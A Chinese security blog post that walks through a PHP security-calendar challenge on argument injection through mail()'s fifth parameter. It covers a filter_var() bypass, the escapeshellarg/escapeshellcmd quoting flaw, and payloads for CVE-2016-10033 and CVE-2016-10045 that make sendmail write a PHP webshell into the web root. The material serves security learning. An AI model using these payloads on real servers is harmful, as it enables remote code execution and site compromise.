PHP mail()可能导致的问题

简介: 参考文献:https://xz.aliyun.com/t/2501题目网址:https://www.ripstech.com/php-security-calendar-2017/环境:php version < 5.

参考文献:https://xz.aliyun.com/t/2501
题目网址:https://www.ripstech.com/php-security-calendar-2017/

环境:

php version < 5.2.0
phpmailer < 5.2.18
php 没有安装 pcre(no default)
safe_mode = false(default)

题目

class Mailer {
    private function sanitize($email) {
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            return '';
        }
        return escapeshellarg($email);
    }
    public function send($data) {
        if (!isset($data['to'])) {
            $data['to'] = 'none@ripstech.com';
        } else {
            $data['to'] = $this->sanitize($data['to']);
        }
        if (!isset($data['from'])) {
            $data['from'] = 'none@ripstech.com';
        } else {
            $data['from'] = $this->sanitize($data['from']);
        }
        if (!isset($data['subject'])) {
            $data['subject'] = 'No Subject';
        }
        if (!isset($data['message'])) {
            $data['message'] = '';
        }
        mail($data['to'], $data['subject'], $data['message'],
             '', "-f" . $data['from']);
    }
}
$mailer = new Mailer();
$mailer->send($_POST);

①mail()函数

整体来看此题目是发送邮件的,先看下mail()函数的用法

mail(to,subject,message,headers,parameters)
to             必需。规定邮件的接收者。
subject        必需。规定邮件的主题。该参数不能包含任何换行字符。
message        必需。规定要发送的消息。
headers        必需。规定额外的报头,比如 From, Cc 以及 Bcc。
parameters     必需。规定 sendmail 程序的额外参数。

②filter_var()函数

filter_var($email, FILTER_VALIDATE_EMAIL)//邮件过滤器,确保在第5个参数中仅使用有效的电子邮件地址mail()

filter_var(variable, filter, options)函数通过指定的过滤器过滤变量。如果成功,则返回已过滤的数据,如果失败,则返回 false
variable    必需。规定要过滤的变量。
filter  可选。规定要使用的过滤器的 ID。
options     规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。

此函数在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,通过重叠单引号和双引号,欺骗 filter_var(),这样就可以绕过检测。
一个简单的例子:

<?php
var_dump(filter_var('\'is."\'\ not\ allowed"@123.com',FILTER_VALIDATE_EMAIL));
var_dump(filter_var('"is.\ not\ allowed"@123.com',FILTER_VALIDATE_EMAIL));
var_dump(filter_var('"is.""\ not\ allowed"@123.com',FILTER_VALIDATE_EMAIL));
?>
img_ee1879a78a9b30560a139e477072daa6.png
1.png

③escapeshellcmd()函数

引入的特殊符号,虽然绕过了filter_var()的检测,但PHP的mail()在底层调用了 escapeshellcmd() ,对用户输入的邮箱地址进行检测,即使存在特殊符号,也会被 escapeshellcmd()处理转义,这样就没办法达到命令执行的目的了。

但还调用了escapeshellarg()//把字符串转码为可以在 shell 命令里使用的参数,此函数将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,确保能够直接将一个字符串传入 shell 函数(含 exec(),system(),反引号)
一个例子

<?php
$a="127.0.0.1' -v -d a=1";
$b=escapeshellarg($a);
$c=escapeshellcmd($b);
$cmd="curl ".$c;
var_dump($b)."\n";
var_dump($c)."\n";
var_dump($cmd)."\n";
system($cmd);
?>
  • 传入的参数是127.0.0.1' -v -d a=1
  • escapeshellarg()先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。处理之后为:'127.0.0.1'\'' -v -d a=1'
  • 接着escapeshellcmd()对第二步处理后字符串中的 \以及 a=1'中的单引号进行转义处理,结果为:'127.0.0.1'\\'' -v -d a=1\'
  • 第三步处理之后的payload中的\\被解释成了\而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分:
    '127.0.0.1'\
    \'' -v -d
    a=1\'
  • 所以这个payload可以简化为curl 127.0.0.1\ -v -d a=1',即向 127.0.0.1\发起请求,POST 数据为 a=1'

根据此漏洞有两个实例:

CVE-2016-10033
payload:
a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
然后通过 linux 自身的 sendmail 写log的方式,把log写到web根目录下。将日志文件后缀定义为 .php ,即可成功写入webshell。

CVE-2016-10045
payload:

a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
目录
相关文章
|
Linux PHP 网络协议
Linux服务器查看PHP是否支持mail()函数方法
PHP的Mail函数可以用来发送邮件,如查看Linux服务器PHP是否支持Mail函数?很简答,码笔记分享: PHP查看是否支持Mail函数的方法 Linux系统下的服务器,查看PHP是否支持Mail函数的方法有很多种: 1、可以使用PHP探针来测试; 2、也可以通过exists函数查看; 3、...
2137 0
|
PHP 移动开发
|
PHP 移动开发
|
2月前
|
安全 关系型数据库 MySQL
PHP与MySQL交互:从入门到实践
【9月更文挑战第20天】在数字时代的浪潮中,掌握PHP与MySQL的互动成为了开发动态网站和应用程序的关键。本文将通过简明的语言和实例,引导你理解PHP如何与MySQL数据库进行对话,开启你的编程之旅。我们将从连接数据库开始,逐步深入到执行查询、处理结果,以及应对常见的挑战。无论你是初学者还是希望提升技能的开发者,这篇文章都将为你提供实用的知识和技巧。让我们一起探索PHP与MySQL交互的世界,解锁数据的力量!
|
2月前
|
NoSQL 关系型数据库 MySQL
不是 PHP 不行了,而是 MySQL 数据库扛不住啊
【9月更文挑战第8天】这段内容讨论了MySQL在某些场景下面临的挑战及其原因,并指出这些问题不能完全归咎于MySQL本身。高并发读写压力、数据量增长以及复杂查询和事务处理都可能导致性能瓶颈。然而,应用程序设计不合理、系统架构不佳以及其他数据库选择和优化策略不足也是重要因素。综合考虑这些方面才能有效解决性能问题,而MySQL通过不断改进和优化,仍然是许多应用场景中的可靠选择。
124 9
|
3月前
|
存储 SQL 关系型数据库
PHP与MySQL交互的奥秘
【8月更文挑战第29天】在编程的世界里,PHP和MySQL就像是一对默契的舞伴,共同演绎着数据的交响曲。本文将带你探索它们之间的互动,从连接数据库到执行查询,再到处理结果,每一步都充满了节奏与和谐。我们将一起走进这段代码的旅程,感受数据流动的魅力。
|
2天前
|
关系型数据库 MySQL PHP
PHP与MySQL动态网站开发实战指南####
本文深入探讨了PHP与MySQL在动态网站开发中的应用实践,通过具体案例解析如何高效结合这两大技术构建数据驱动的Web应用。文章将涵盖环境搭建、基础语法回顾、数据库设计与操作、用户注册与登录系统实现等关键步骤,旨在为开发者提供一个从零到一的项目实战路径,展示PHP与MySQL协同工作的强大能力。 ####